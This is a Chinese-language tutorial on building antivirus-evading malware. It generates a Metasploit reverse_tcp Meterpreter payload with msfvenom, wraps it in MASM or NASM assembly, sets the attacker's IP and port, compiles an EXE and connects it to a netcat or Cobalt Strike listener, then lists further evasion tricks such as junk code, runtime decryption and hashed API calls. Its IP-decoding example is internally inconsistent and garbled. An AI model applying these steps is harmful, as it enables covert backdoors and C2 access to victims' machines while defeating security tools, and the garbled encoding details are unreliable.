编译汇编代码实现免杀
字数 1328 2025-08-12 11:34:25
使用汇编语言编译免杀Shellcode的完整指南
前言
本文介绍了一种通过直接编写汇编代码并使用NASM或MASM编译生成可执行文件(EXE)来实现免杀的技术。这种方法避免了传统方法中需要导入表函数或使用VirtualAlloc分配内存的痕迹,直接将shellcode嵌入汇编代码中执行。
工具准备
- MASM32工具包:包含ml.exe(汇编编译器)和link.exe(链接器)
- NASM:另一种流行的汇编编译器
- HRSword工具:用于网络监听和分析
- Metasploit Framework(MSF):生成shellcode
- Cobalt Strike(CS):用于建立C2连接
基本思路
传统方法
- 生成shellcode
- 用高级语言(如C/C++)加载运行shellcode
- 编译生成可执行文件
汇编方法
- 直接将shellcode上线逻辑用汇编语言编写
- 使用汇编编译器生成目标文件(.obj)
- 使用链接器生成可执行文件(.exe)
详细步骤
1. 生成shellcode
使用MSF或其他工具生成shellcode,例如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -f hex
2. 编写汇编代码
将shellcode转换为汇编格式,编写完整的汇编程序。示例结构:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
includelib kernel32.lib
.code
start:
; 这里是shellcode的汇编实现
; 例如网络连接、加载payload等代码
; 示例中的IP和端口被编码为16进制形式
; 30h,31h,32h,2dh,34h,35h,2dh,30h,35h,32h,2dh,XXh,XXh,XXh 表示IP地址
; 52h 表示端口82(52h=82)
; 示例中的协议是HTTP
ret
end start
3. 修改关键参数
-
IP地址修改:
- 原始示例中的IP编码:30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
- 解码为:1.0.3.2.1.3 → 10.130.4.204
- 修改为自己的IP:例如123.56.163.XX转换为30h,31h,32h,2dh,34h,35h,2dh,30h,35h,32h,2dh,XXh,XXh,XXh
-
端口修改:
- 示例中52h=82
- 修改为自己的端口号,注意转换为16进制
4. 编译汇编代码
使用MASM32工具链编译:
ml /c /coff /Cp masm.asm # 编译为obj文件
link /subsystem:windows masm.obj # 生成exe文件
或使用NASM:
nasm -f win32 shellcode.asm -o shellcode.obj
link /subsystem:windows /entry:start shellcode.obj kernel32.lib /out:shellcode.exe
5. 测试连接
-
在服务器上设置监听:
nc -lvvp 80 # 使用与代码中相同的端口 -
执行生成的exe文件,验证连接是否成功
6. Cobalt Strike上线
- 在CS中新建监听器,选择与代码中一致的协议和端口
- 执行exe文件,验证是否成功上线
免杀优势分析
- 无导入表痕迹:直接使用汇编实现,避免了传统方法中需要导入API函数的痕迹
- 内存操作隐蔽:不需要使用VirtualAlloc等显眼的内存分配函数
- 代码自包含:所有功能都在汇编代码中实现,没有外部依赖
- 可定制性高:可以灵活修改代码结构和逻辑,绕过静态检测
注意事项
- 编码转换:IP地址和端口需要正确转换为16进制形式
- 协议选择:示例中使用HTTP协议,可根据需要修改
- 杀软规避:虽然这种方法有一定免杀效果,但Virustotal等平台仍可能检测到
- 测试环境:建议在隔离的测试环境中进行实验
- 代码混淆:可以进一步对汇编代码进行混淆增强免杀效果
进阶技巧
- 添加花指令:在汇编代码中插入无意义但不影响执行的指令
- 动态解密:对关键部分代码进行加密,运行时解密
- API动态调用:使用hash查找或手动加载DLL的方式调用API
- 多阶段加载:将payload分阶段加载执行
通过这种方法生成的恶意程序相比传统方法具有更好的免杀效果,但需要一定的汇编语言基础和调试能力。